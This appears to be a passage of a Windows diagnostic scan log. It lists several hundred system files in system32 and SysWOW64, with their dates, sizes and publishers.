2017-03-18 22:58 - 2017-03-18 22:58 - 00076800 _____ (Microsoft Corporation) C:\windows\SysWOW64\ddisplay.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00076800 _____ (Microsoft Corporation) C:\windows\SysWOW64\bdaplgin.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00076800 _____ (Microsoft Corporation) C:\windows\system32\PrintIsolationHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00076800 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mpsdrv.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00076800 _____ (Microsoft Corporation) C:\windows\system32\cfgbkend.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00076568 _____ (Microsoft Corporation) C:\windows\system32\LocalServiceCredUIBroker.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00075776 _____ (Microsoft Corporation) C:\windows\SysWOW64\GameChatTranscription.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00075264 _____ (Microsoft Corporation) C:\windows\SysWOW64\iashlpr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00075264 _____ (Microsoft Corporation) C:\windows\system32\Windows.Networking.XboxLive.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00075168 _____ (Microsoft Corporation) C:\windows\system32\CloudExperienceHostBroker.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00074992 _____ (Microsoft Corporation) C:\windows\SysWOW64\remoteaudioendpoint.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00074960 _____ (Microsoft Corporation) C:\windows\SysWOW64\srvcli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00074960 _____ (Microsoft Corporation) C:\windows\system32\sessionmsg.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00074752 _____ (Microsoft Corporation) C:\windows\SysWOW64\wpbcreds.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00074752 _____ (Microsoft Corporation) C:\windows\SysWOW64\RMSRoamingSecurity.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00074752 _____ (Microsoft Corporation) C:\windows\SysWOW64\LicenseManagerApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00074752 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmcompos.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00074752 _____ (Microsoft Corporation) C:\windows\SysWOW64\cca.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00074752 _____ (Microsoft Corporation) C:\windows\system32\desktopimgdownldr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00074240 _____ (Microsoft Corporation) C:\windows\SysWOW64\Utilman.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00074240 _____ (Microsoft Corporation) C:\windows\SysWOW64\ndishc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00074240 _____ (Microsoft Corporation) C:\windows\SysWOW64\mibincodec.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00073896 _____ (Microsoft Corporation) C:\windows\SysWOW64\wwapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00073728 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpapimig.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00073728 _____ (Microsoft Corporation) C:\windows\system32\unenrollhook.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00073728 _____ (Microsoft Corporation) C:\windows\system32\keepaliveprovider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00073728 _____ (Microsoft Corporation) C:\windows\system32\ComputerDefaults.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00073216 _____ (Microsoft Corporation) C:\windows\SysWOW64\WinMsoIrmProtector.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00073216 _____ (Microsoft Corporation) C:\windows\system32\WSManMigrationPlugin.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00073216 _____ (Microsoft Corporation) C:\windows\system32\nduprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00072704 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserAccountControlSettings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00072704 _____ (Microsoft Corporation) C:\windows\SysWOW64\slwga.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00072704 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbcad32.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00072704 _____ (Microsoft Corporation) C:\windows\system32\WpnUserService.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00072704 _____ (Microsoft Corporation) C:\windows\system32\Windows.Globalization.Fontgroups.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00072704 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Custom.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00072704 _____ (Microsoft Corporation) C:\windows\system32\TempSignedLicenseExchangeTask.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00072704 _____ (Microsoft Corporation) C:\windows\system32\RunLegacyCPLElevated.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00072704 _____ (Microsoft Corporation) C:\windows\system32\MsCtfMonitor.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00072704 _____ (Microsoft Corporation) C:\windows\system32\IcsEntitlementHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00072192 _____ (Microsoft Corporation) C:\windows\system32\msauserext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00071680 _____ (Microsoft Corporation) C:\windows\SysWOW64\w32tm.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00071680 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbccu32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00071680 _____ (Microsoft Corporation) C:\windows\system32\cmgrcspps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00071168 _____ (Microsoft Corporation) C:\windows\SysWOW64\TempSignedLicenseExchangeTask.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00071168 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbccr32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00071168 _____ (Microsoft Corporation) C:\windows\system32\IPELoggingDictationHelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00071168 _____ (Microsoft Corporation) C:\windows\system32\eappprxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00071168 _____ (Microsoft Corporation) C:\windows\system32\coredpussvr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00071168 _____ (Microsoft Corporation) C:\windows\system32\ConfigureExpandedStorage.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00071168 _____ (Microsoft Corporation) C:\windows\system32\APHostClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00070656 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.Diagnostics.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00070656 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSDvbNP.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00070656 _____ (Microsoft Corporation) C:\windows\SysWOW64\eqossnap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00070656 _____ (Microsoft Corporation) C:\windows\system32\tcpmonui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00070352 _____ (Microsoft Corporation) C:\windows\system32\wldp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00070232 _____ (Microsoft Corporation) C:\windows\system32\Drivers\WindowsTrustedRT.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00070144 _____ (Microsoft Corporation) C:\windows\SysWOW64\winsockhc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00070144 _____ (Microsoft Corporation) C:\windows\SysWOW64\samcli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00070144 _____ (Microsoft Corporation) C:\windows\SysWOW64\PeopleAPIs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00070144 _____ (Microsoft Corporation) C:\windows\system32\PhonePlatformAbstraction.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00070144 _____ (Microsoft Corporation) C:\windows\system32\l2gpstore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00070144 _____ (Microsoft Corporation) C:\windows\system32\DafGip.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00069632 _____ (Microsoft Corporation) C:\windows\SysWOW64\XblAuthTokenBrokerExt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00069632 _____ (Microsoft Corporation) C:\windows\SysWOW64\winipsec.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00069632 _____ (Microsoft Corporation) C:\windows\SysWOW64\StorageContextHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00069632 _____ (Microsoft Corporation) C:\windows\SysWOW64\SettingSyncPolicy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00069632 _____ (Microsoft Corporation) C:\windows\SysWOW64\keyiso.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00069632 _____ (Microsoft Corporation) C:\windows\system32\themeservice.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00069120 _____ (Microsoft Corporation) C:\windows\SysWOW64\zipcontainer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00069120 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Printers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00069120 _____ (Microsoft Corporation) C:\windows\SysWOW64\MosStorage.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00069120 _____ (Microsoft Corporation) C:\windows\SysWOW64\avicap32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00069120 _____ (Microsoft Corporation) C:\windows\system32\WSDScanProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00069120 _____ (Microsoft Corporation) C:\windows\system32\shacctprofile.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00069120 _____ (Microsoft Corporation) C:\windows\system32\dwmghost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00068776 _____ (Microsoft Corporation) C:\windows\SysWOW64\netapi32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00068608 _____ (Microsoft Corporation) C:\windows\SysWOW64\WinOpcIrmProtector.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00068608 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Shell.ServiceHostBuilder.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00068608 _____ (Microsoft Corporation) C:\windows\SysWOW64\SCardDlg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00068608 _____ (Microsoft Corporation) C:\windows\SysWOW64\OnDemandConnRouteHelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00068608 _____ (Microsoft Corporation) C:\windows\SysWOW64\makecab.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00068608 _____ (Microsoft Corporation) C:\windows\system32\rundll32.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00068608 _____ (Microsoft Corporation) C:\windows\system32\RemoveDeviceContextHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00068608 _____ (Microsoft Corporation) C:\windows\system32\provtool.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00068096 _____ (Microsoft Corporation) C:\windows\SysWOW64\colbact.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00068096 _____ (Microsoft Corporation) C:\windows\system32\TSWbPrxy.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00068096 _____ (Microsoft Corporation) C:\windows\system32\ihvrilproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00067760 _____ (Microsoft Corporation) C:\windows\SysWOW64\cryptsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00067584 _____ (Microsoft Corporation) C:\windows\SysWOW64\UXInit.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00067584 _____ (Microsoft Corporation) C:\windows\SysWOW64\RunLegacyCPLElevated.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00067584 _____ (Microsoft Corporation) C:\windows\system32\xmlfilter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00067584 _____ (Microsoft Corporation) C:\windows\system32\threadpoolwinrt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00067072 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlidfdp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00067072 _____ (Microsoft Corporation) C:\windows\SysWOW64\MosHostClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00067072 _____ (Microsoft Corporation) C:\windows\SysWOW64\iscsiwmi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00067072 _____ (Microsoft Corporation) C:\windows\SysWOW64\hbaapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00067072 _____ (Microsoft Corporation) C:\windows\system32\UsbSettingsHandlers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00067072 _____ (Microsoft Corporation) C:\windows\system32\PrintPlatformConfig.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00067072 _____ (Microsoft Corporation) C:\windows\system32\AddressParser.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00066720 _____ (Microsoft Corporation) C:\windows\system32\iumcrypt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00066560 _____ (Microsoft Corporation) C:\windows\SysWOW64\rdvvmtransport.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00066560 _____ (Microsoft Corporation) C:\windows\SysWOW64\loghours.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00066560 _____ (Microsoft Corporation) C:\windows\SysWOW64\InputInjectionBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00066560 _____ (Microsoft Corporation) C:\windows\SysWOW64\EditBufferTestHook.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00066560 _____ (Microsoft Corporation) C:\windows\SysWOW64\driverquery.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00066560 _____ (Microsoft Corporation) C:\windows\system32\udhisapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00066560 _____ (Microsoft Corporation) C:\windows\system32\lpremove.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00066560 _____ (Microsoft Corporation) C:\windows\system32\Drivers\lltdio.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00066048 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Gaming.UI.GameBar.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00066048 _____ (Microsoft Corporation) C:\windows\SysWOW64\WfHC.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00066048 _____ (Microsoft Corporation) C:\windows\SysWOW64\sberes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00066048 _____ (Microsoft Corporation) C:\windows\SysWOW64\newdev.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00066048 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmci.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00066048 _____ (Microsoft Corporation) C:\windows\SysWOW64\frprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00065536 _____ (Twain Working Group) C:\windows\twain_32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00065536 _____ (Microsoft Corporation) C:\windows\SysWOW64\wininetlui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00065536 _____ (Microsoft Corporation) C:\windows\SysWOW64\iasacct.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00065536 _____ (Microsoft Corporation) C:\windows\SysWOW64\getmac.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00065536 _____ (Microsoft Corporation) C:\windows\system32\prauthproviders.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00065536 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ndisuio.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00065024 _____ (Microsoft Corporation) C:\windows\SysWOW64\MuiUnattend.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00065024 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvcirt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00065024 _____ (Microsoft Corporation) C:\windows\SysWOW64\esentprf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00065024 _____ (Microsoft Corporation) C:\windows\system32\XboxGipRadioManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00065024 _____ (Microsoft Corporation) C:\windows\system32\WlanRadioManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00065024 _____ (Microsoft Corporation) C:\windows\system32\RemovableMediaProvisioningPlugin.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064704 _____ (Microsoft Corporation) C:\windows\system32\cryptdll.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064680 _____ (Microsoft Corporation) C:\windows\system32\CloudNotifications.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00064512 _____ (Microsoft Corporation) C:\windows\SysWOW64\btpanui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064512 _____ (Microsoft Corporation) C:\windows\system32\POSyncServices.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064512 _____ (Microsoft Corporation) C:\windows\system32\findnetprinters.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064512 _____ (Microsoft Corporation) C:\windows\system32\bidispl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064168 _____ (Microsoft Corporation) C:\windows\system32\wtsapi32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064136 _____ (Microsoft Corporation) C:\windows\system32\ApplicationFrameHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00064000 _____ C:\windows\system32\BWContextHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064000 _____ (Microsoft Corporation) C:\windows\SysWOW64\ndadmin.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00064000 _____ (Microsoft Corporation) C:\windows\SysWOW64\mspatchc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064000 _____ (Microsoft Corporation) C:\windows\SysWOW64\mbussdapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064000 _____ (Microsoft Corporation) C:\windows\SysWOW64\ComputerDefaults.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00064000 _____ (Microsoft Corporation) C:\windows\SysWOW64\cfgbkend.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064000 _____ (Microsoft Corporation) C:\windows\system32\wups.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064000 _____ (Microsoft Corporation) C:\windows\system32\WFDSConMgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064000 _____ (Microsoft Corporation) C:\windows\system32\rtutils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00064000 _____ (Microsoft Corporation) C:\windows\system32\printui.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00064000 _____ (Microsoft Corporation) C:\windows\system32\ntprint.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00064000 _____ (Microsoft Corporation) C:\windows\system32\ipxlatcfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00063488 _____ (Microsoft Corporation) C:\windows\SysWOW64\Syncreg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00063488 _____ (Microsoft Corporation) C:\windows\SysWOW64\nlaapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00063488 _____ (Microsoft Corporation) C:\windows\SysWOW64\hdwwiz.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00063488 _____ (Microsoft Corporation) C:\windows\system32\wshbth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00063488 _____ (Microsoft Corporation) C:\windows\system32\tsgqec.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00063488 _____ (Microsoft Corporation) C:\windows\system32\SmartCardBackgroundPolicy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00063488 _____ (Microsoft Corporation) C:\windows\system32\msident.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00063488 _____ (Microsoft Corporation) C:\windows\system32\dfscli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00063488 _____ (Microsoft Corporation) C:\windows\system32\AuthExt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00063081 _____ C:\windows\SysWOW64\certlm.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00063070 _____ C:\windows\SysWOW64\certmgr.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00062976 _____ (Microsoft Corporation) C:\windows\SysWOW64\ShellCommonCommonProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00062976 _____ (Microsoft Corporation) C:\windows\SysWOW64\radarrs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00062976 _____ (Microsoft Corporation) C:\windows\SysWOW64\msobjs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00062976 _____ (Microsoft Corporation) C:\windows\SysWOW64\enterpriseresourcemanager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00062976 _____ (Microsoft Corporation) C:\windows\SysWOW64\dhcpcsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00062976 _____ (Microsoft Corporation) C:\windows\system32\microsoft-windows-pdc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00062632 _____ (Microsoft Corporation) C:\windows\system32\SensorsNativeApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00062464 _____ (Microsoft Corporation) C:\windows\SysWOW64\unimdmat.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00062464 _____ (Microsoft Corporation) C:\windows\SysWOW64\prvdmofcomp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00062464 _____ (Microsoft Corporation) C:\windows\SysWOW64\printui.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00062464 _____ (Microsoft Corporation) C:\windows\SysWOW64\ntprint.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00062464 _____ (Microsoft Corporation) C:\windows\SysWOW64\ELSCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00062464 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00062464 _____ (Microsoft Corporation) C:\windows\system32\SyncProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00062464 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ndproxy.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00061952 _____ (Microsoft Corporation) C:\windows\system32\dmxmlhelputils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00061560 _____ (Microsoft Corporation) C:\windows\system32\msasn1.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00061440 _____ (Microsoft Corporation) C:\windows\SysWOW64\WsmRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00061440 _____ (Microsoft Corporation) C:\windows\SysWOW64\WSManMigrationPlugin.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00061440 _____ (Microsoft Corporation) C:\windows\SysWOW64\scripto.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00061440 _____ (Microsoft Corporation) C:\windows\SysWOW64\pcaui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00061440 _____ (Microsoft Corporation) C:\windows\SysWOW64\msjter40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00061440 _____ (Microsoft Corporation) C:\windows\system32\WsmRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00061440 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.UserProfile.DiagnosticsSettings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00061440 _____ (Microsoft Corporation) C:\windows\system32\Windows.Storage.WinRT.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00061440 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Background.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00061440 _____ (Microsoft Corporation) C:\windows\system32\EASPolicyManagerBrokerHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00061440 _____ (Microsoft Corporation) C:\windows\system32\ConnectedAccountState.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00060928 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.UserDeviceAssociation.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00060928 _____ (Microsoft Corporation) C:\windows\SysWOW64\usoapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00060928 _____ (Microsoft Corporation) C:\windows\SysWOW64\rundll32.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00060928 _____ (Microsoft Corporation) C:\windows\SysWOW64\openfiles.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00060928 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvcrt40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00060928 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmgaproxystub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00060928 _____ (Microsoft Corporation) C:\windows\system32\rilproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00060458 _____ C:\windows\SysWOW64\ideograf.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00060458 _____ C:\windows\system32\ideograf.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00060416 _____ (Microsoft Corporation) C:\windows\SysWOW64\sc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00060416 _____ (Microsoft Corporation) C:\windows\SysWOW64\rasdiag.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00060416 _____ (Microsoft Corporation) C:\windows\SysWOW64\playlistfolder.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00060416 _____ (Microsoft Corporation) C:\windows\SysWOW64\NetCfgNotifyObjectHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00060416 _____ (Microsoft Corporation) C:\windows\SysWOW64\mssign32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00060416 _____ (Microsoft Corporation) C:\windows\system32\tetheringclient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00060416 _____ (Microsoft Corporation) C:\windows\system32\SebBackgroundManagerPolicy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00060416 _____ (Microsoft Corporation) C:\windows\system32\MsRdpWebAccess.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00060124 _____ C:\windows\system32\tcpmon.ini
2017-03-18 22:58 - 2017-03-18 22:58 - 00059904 _____ (Microsoft Corporation) C:\windows\SysWOW64\dot3cfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00059904 _____ (Microsoft Corporation) C:\windows\SysWOW64\cryptext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00059904 _____ (Microsoft Corporation) C:\windows\system32\omadmprc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00059904 _____ (Microsoft Corporation) C:\windows\system32\aadjcsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00059456 _____ (Microsoft Corporation) C:\windows\SysWOW64\wldp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00059456 _____ (Microsoft Corporation) C:\windows\SysWOW64\profapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00059392 _____ (Microsoft Corporation) C:\windows\SysWOW64\UiaManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00059392 _____ (Microsoft Corporation) C:\windows\SysWOW64\udhisapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00059392 _____ (Microsoft Corporation) C:\windows\SysWOW64\reg.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00059392 _____ (Microsoft Corporation) C:\windows\SysWOW64\msiexec.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00059392 _____ (Microsoft Corporation) C:\windows\SysWOW64\fdBth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00059392 _____ (Microsoft Corporation) C:\windows\system32\PimIndexMaintenanceClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00059392 _____ (Microsoft Corporation) C:\windows\system32\InprocLogger.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00059392 _____ (Microsoft Corporation) C:\windows\system32\edpnotify.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00059296 _____ (Microsoft Corporation) C:\windows\SysWOW64\PSHED.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00059288 _____ (Microsoft Corporation) C:\windows\system32\Drivers\urscx01000.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00058880 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Custom.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058880 _____ (Microsoft Corporation) C:\windows\SysWOW64\WABSyncProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058880 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserLanguageProfileCallback.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058880 _____ (Microsoft Corporation) C:\windows\SysWOW64\unenrollhook.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058880 _____ (Microsoft Corporation) C:\windows\SysWOW64\tcpmonui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058880 _____ (Microsoft Corporation) C:\windows\SysWOW64\FwRemoteSvr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00058880 _____ (Microsoft Corporation) C:\windows\system32\winver.exe
